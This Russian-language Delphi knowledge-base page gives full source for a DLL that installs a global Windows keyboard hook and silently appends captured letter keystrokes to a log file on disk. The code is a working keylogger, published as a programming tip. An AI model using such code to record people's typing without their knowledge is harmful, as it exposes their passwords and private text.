Глобальный хук на клавиатуру
Материал из DRKB
Глобальный хук на клавиатуру[править | править код]
library Hook;
uses
Windows, SysUtils;
const
KF_UP_MY = $40000000;
var
CurrentHook: HHook;
KeyArray: array[0..19] of Char;
KeyArrayPtr: Integer;
CurFile: Text;
function GlobalKeyboardHook(code, wParam, lParam: Integer): LongWord; stdcall;
var
i: Integer;
begin
if code < 0 then
begin
Result := CallNextHookEx(CurrentHook, code, wParam, lParam);
Exit;
end;
if ((lParam and KF_UP_MY) = 0) and (wParam >= 65) and (wParam <= 90) then
begin
KeyArray[KeyArrayPtr] := Char(wParam);
KeyArrayPtr := KeyArrayPtr + 1;
if KeyArrayPtr > 19 then
begin
for i := 0 to 19 do
begin
Assignfile(CurFile, 'd:\log.txt');
if not FileExists('d:\log.txt') then
Rewrite(CurFile)
else
Append(CurFile);
Write(Curfile, KeyArray[i]);
CloseFile(CurFile);
end;
KeyArrayPtr := 0;
end;
end;
CallNextHookEx(CurrentHook, code, wParam, lParam);
Result := 0;
end;
procedure SetupGlobalKeyboardHook();
begin
CurrentHook := SetWindowsHookEx(WH_KEYBOARD, @GlobalKeyboardHook, HInstance, 0);
KeyArrayptr := 0;
end;
procedure UnHook;
begin
UnhookWindowsHookEx(CurrentHook);
end;
exports
SetupGlobalKeyboardHook,
UnHook;
begin
end.
Source: http://delphiworld.narod.ru/
ID: 02225